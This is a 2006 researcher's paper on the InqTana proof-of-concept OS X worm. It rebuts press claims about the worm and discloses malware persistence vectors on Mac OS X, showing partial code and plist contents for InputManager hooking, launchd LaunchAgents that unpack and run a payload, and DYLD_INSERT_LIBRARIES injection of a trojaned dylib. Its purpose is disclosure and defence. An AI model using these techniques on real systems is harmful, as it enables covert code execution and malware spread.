InqTana Through the eyes of Dr. Frankenstein. kf_lists[at]digitalmunition[dot]com This sole intent of this paper is to address both FUD and Rumors surrounding the release of detailed information about the InqTana proof of concept worm. After reading internet based news over the past few days I have certainly seen my fair share of 'spin' and misconception regarding the results of my research. Some of my favorite comments are listed here: -"Until Symantec tells people exactly what it does and where it came from I'm calling this salesmanship." -"Probably just a lame variation on the Leap.A fiasco" -"This may be nothing more than a copycat reaction to a new threat that received a great deal of media attention" -"The OSX/Inqtana.A requires the user to accept 3 separate Bluetooth file transfers" -"No system can be infected without multiple decisions on the part of the user." -"...in order to become infected with this proof-of-concept, the user must accept not one, not two, but three PUSH requests." -"...there are no mechanisms in the OS for silent and automatic infection." -"...Anyway, I don't think it would be very successful. How many Macs are routinely around other Macs with bluetooth on?" -"Mac OS X 10.4 (Tiger) users are still advised to make sure they're patched up in order to guard against attack" Most of these statements are slightly humorous to say the least. This worm quite honestly has nothing to do with any Anti-Virus company. The concept of worming the vulnerability that I originally disclosed to apple was one of the first thoughts on my mind when I found the bug. Unfortunately I had a limited amount of time to really research the full potential of the bug I had discovered. The main reason that the length of time between the patch and the worm was so great has nothing to do with an AV company marketing ploy. I simply have other things going on in my life, writing a worm was just not on the top of my list. Beyond simple technical issues I found it difficult to communicate with any AV company beyond Symantec about my concerns. The fact that both Leap.A and InqTana.A were released back to back was also purely coincidental, Symantec, Sophos, F-secure and all the other companies that various folks have accused of planting these PoC worms had absolutely NOTHING to do with InqTana. Aside from a similar release date InqTana.A itself has absolutely nothing to do with Leap.A. My work was done completely independent of the author of Leap. The day after I sent out queries to the AV companies about my code I was shocked to see another OSX worm had already been in the news. While my worm sat in the mail spools of several AV companies they were busy writing about the "First Trojan/Worm for OSX". With regard to the incorrect data being provided about the exploit portion of the worm I must simply tell the reporters out there to DO YOUR HOMEWORK FIRST, then write your articles. The Bluetooth vulnerability was first disclosed in DMA[2005-0502a] and in a follow-up titled Bluetooth_dot_dot.txt. The data was released in May of 2005 after apple had patched the issue in 10.3. Tiger aka 10.4 was released shortly after the patches were made available, however it was shipped in a vulnerable state. APPLE-SA-2005-05-03 and APPLE-SA-2005-06-08 fully address the issue with the Apple Bluetooth stack. The bottom line is that BOTH 10.4 and 10.3 are vulnerable. http://www.securityfocus.com/bid/13491 contains full details surrounding the issue. One thing I cannot stress enough is that I chose to make this worm prompt the user for interaction... it is NOT a required function. My intent was to prove a concept not create a functional worm however. Putting all of that aside I think most people missed the point of this worm and its variants. The main focus was not on the usage of Bluetooth for the exploit medium, or the vulnerability used. The focus should have been on the usage of built in OSX facilities to spread malicious code. OSX contains features, which will certainly aid in the future of malware on OSX. Although little detail was provided on exactly how Leap.A hooked the functions of iChat it is very likely that MethodSwizzling [1] was used. The Objective-C runtime effectively allows you to "patch" methods in code you don't have the source to. Rather than completely replacing the original method, MethodSwizzling lets your method make use of the original, almost like subclassing. Once you combine this ability with an InputManager [2] in bundle form [3] you wind up with a recipe for instant malware. Even though InputManagers in bundle form can have legit [4] uses it is highly likely that this facility will become a common malware vector. This method seems to be portable across both 10.4 and 10.3. Leap.A chose to drop an InputManager named "apphook" into ~/Library. k-fs-ibook:~/Library/InputManagers kf$ ls Info apphook.bundle The LoadBundleOnLaunch property was set to ensure that the bundle would load with every application that launches. k-fs-ibook:~/Library/InputManagers kf$ cat Info BundleName apphook.bundle LoadBundleOnLaunch YES NoMenuEntry YES The actual binary of the malicious bundle can be found in the Contents/MacOS folder. k-fs-ibook:~/Library/InputManagers kf$ file apphook.bundle/Contents/MacOS/apphook apphook.bundle/Contents/MacOS/apphook: Mach-O bundle ppc Because the strings "com.apple.iChat" and "com.apple.mail" were found in data from the actual bundle we assume that malware will attempt to hook both iChat and apple Mail. Most likely the author attempted to isolate which programs his code hooked via a snippet of code similar to the following: //Look if we are running in iChat if(![[NSBundle mainBundle] bundleIdentifier] isEualTo:@"com.apple.iChat:]) { return; // Not iChat -> Do Nothing (borrowed from SubEthaFari) } At this point the author goes on to hook into the methods used for sending outbound messages in an attempt to continue spreading itself. MethodSwizzling is not the only malware vector in the arsenal of future OSX malware authors. During the development of the code dubbed 'InqTana' I developed and made use of 3 seperate techniques to deploy and distribute a payload. Several facilities exist within the OSX operating system that will help facilitate the spread of malware. I will outline each of the techniques that my InqTana variants seek to demonstrate. During early attempts to create an environment in which an OSX worm could be sustained I failed repeatedly to find a suitable vector which would allow an attacker to run code. With the arrival of OSX 10.4 however, I quickly noted how convienent the new Launchd [5] facility was. You honestly could not ask for a much simpler method for code execution. Simply drop a properly formatted file in the correct directory and you are good to go. k-fs-ibook:~/Library/LaunchAgents kf$ ls com.openbundle.plist com.pwned.plist InqTana.A used com.openbundle.plist to unpack the payload of the main worm shortly before running it via com.pwned.plist. k-fs-ibook:~/Library/LaunchAgents kf$ cat com.openbundle.plist Label com.openbundle ProgramArguments /usr/bin/tar -Pzxvf /Users/w0rm-support.tgz RunAtLoad Because launchd did not exist in 10.3 this will only work on 10.4 machines. Following the arrival of the Leap.A worm I toyed with the idea of hooking one of the programs that starts when a normal user logs into the OSX GUI. After cornering a few particular applications I decided that too much was involved in selecting a method to mutate for worm distribution purposes. Rather than taking a granular approach, I decided it would be easier to hook the '- init' function that is called when all bundles are loaded. The same general technique that Leap.A is used however the bundle payload is slightly modified. k-fs-ibook:~/Library/InputManagers/InqTanaHandler kf$ ls Info InqTanaHandler.bundle As we can see from the source code hooking the module init is quite easy. k-fs-ibook:/Users/Users/InqTanaHandler kf$ cat InqTanaHandler.m // // InqTanaHandler.m // InqTanaHandler // // Created by Kevin Finisterre on 2/19/06. // Copyright 2006 __MyCompanyName__. All rights reserved. // #import "InqTanaHandler.h" #import @implementation InqTanaHandler - init { if (self=[super init]) { int x = open("/tmp/w0rms.love.apples", O_RDWR); ... Lots of care must be in mind when hooking the system in this manor. One bad move can make for some nasty results. The final method I am going to discuss involves a 'relic left over from OpenStep/NextStep' [6]. OSX provides a facility by which users have the ability to set specific environment variables for all processes that they launch. Coincidentally this method can also be used to potentially spread malware. ~/.MacOSX/environment.plist can be used to specify variables that may influence the behavior of dyld [7]. By setting the DYLD_INSERT_LIBRARIES variable we are able to force all applications to run our payload. Unfortunately in versions of OSX below 10.4 dyld appears to be TOO lazy to run a trojaned .dylib file. k-fs-ibook:~/Library kf$ cd ~/.MacOSX/ k-fs-ibook:~/.MacOSX kf$ cat environment.plist DYLD_INSERT_LIBRARIES /pwned.dylib Using methods outlined in Apple's Dynamic Library Design Guidelines [8] we can make use of either a malicious Initializer or Finalizer to spread malware. k-fs-ibook:/Users/Users kf$ cat pwned.c // gcc -dynamiclib pwned.c -o pwned.dylib #include #include #include #include #include extern char * argv; __attribute__((constructor)) static void w0rmy() { chmod("/tmp/w0rms.love.apples", 0777); Because programs that are initially launched when a user logs in seem to be run from '/' the dyld appears to also want our trojaned .dylib to reside in '/'. Be careful here... you can break your box if you get this wrong. k-fs-ibook:~/Library/Logs/CrashReporter/ kf$ cat iTunesHelper.crash.log ********** Host Name: k-fs-ibook Date/Time: 2006-02-20 11:48:33.250 -0500 OS Version: 10.4 (Build 8A428) Report Version: 3 Command: iTunesHelper Path: /Applications/iTunes.app/Contents/Resources/iTunesHelper.app/Contents/MacOS/iTunesHelper Parent: WindowServer [629] Version: 4.7.1 (4.7.1) PID: 661 Thread: Unknown Link (dyld) error: could not load inserted library: "pwned.dylib" Moving pwned.dylib to / corrected the above behavior which results in a completely unusable user account otherwise. Once again because all of the programs that a user runs will attempt to run this code, special care needs to be taken to make sure the payload is not stepping on itself. Because samples of these variants have been sent to most major anti-virus companies attacks that are similar in nature should be quarantined in the future. Further OS level permissions changes can help mitigate the risks associated with the various facilities that OSX provides by default. The four techniques above provide obvious vectors for current malware writers to abuse OSX. Some things obviously need to be changed with regard to access to the facilities these techniques take advantage of. Now is the time to be diligent and to discover and augment similar behavior. OSX is NOT immune to worms and virii.... don't kid yourself. In closing I would like to once again state that the InqTana code was designed to run in a controlled environment limited to 3 bluetooth devices. 11:22:33:44:55:66, 33:33:33:44:44:44, and 44:44:44:55:55:55. In the event that the code were to somehow spread beyond the initial test environment several other factors limit its ability to actually spread in the wild. The bluetooth library that InqTana is based on is set to expire on 02/25/06. In addition to the expiration date the Exception handeler of InqTana is intentionally crippled to halt upon any errors encountered by the code. InqTana was manufactured specifically as proof of concept. The code was distributed to both Apple and Anti-Virus companies in efforts to identify and mitigate behavior that could be used in the future as a malware vector on the OSX platform. [1] http://www.cocoadev.com/index.pl?MethodSwizzling [2] http://developer.apple.com/documentation/Cocoa/Conceptual/InputManager/Tasks/InputServerDeployment.html [3] http://fsb.mackb.net/bundle [4] http://codingmonkeys.de/map/log/articles/2004/07/20/subethafari [5] http://developer.apple.com/macosx/launchd.html [6] http://developer.apple.com/qa/qa2001/qa1067.html [7] http://developer.apple.com/releasenotes/DeveloperTools/dyld.html [8] http://devworld.apple.com/documentation/DeveloperTools/Conceptual/DynamicLibraries/Articles/DynamicLibraryDesignGuidelines.html k-fs-ibook:~ kf$ /usr/bin/say "All, your bluetooth, and OSX,,, are belong,, to, us"